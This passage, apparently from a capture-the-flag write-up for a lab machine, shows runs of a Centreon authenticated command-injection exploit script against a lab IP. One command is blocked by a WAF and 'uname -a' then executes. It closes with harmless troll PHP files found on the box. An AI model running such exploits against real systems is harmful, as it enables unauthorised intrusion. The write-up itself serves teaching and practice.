root@kali# ./centreon-0xdf.py http://10.10.10.157/centreon/ admin password1 "hostname"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 829c505845f89f2057d44136440c8665
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : ca4c0c82566cef21642020c602a2feac
[*] Payload inject status code: 403
[-] WAF blocked command. Try something else
root@kali# ./centreon-0xdf.py http://10.10.10.157/centreon/ admin password1 "uname -a"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : f1751b09c89e8cded9ed6d469bec20d6
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : e056d43e94946b0dfeec827b36ff26fd
[*] Payload inject status code: 200
[+] Injecting Done, triggering the payload
Linux Wall 4.15.0-54-generic #58-Ubuntu SMP Mon Jun 24 10:55:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Trolls
One of my least favorite thing about this box was a series of weird troll files sprinkled all over it. It’s not clear to me why authors add these kinds of things without any pretense that they belong on the boc. That said, I always check them out once I have a shell.
On the main webroot, aa.php
and panel.php
were files I spent some time fuzzing.
aa.php
:
<?php
echo 1;
?>
panel.php
:
<?php
echo "Just a test for php file !";
?>
There was another added at the /centreon/
root, a.php
:
<?php
echo 1;
?>
Nothing here interesting.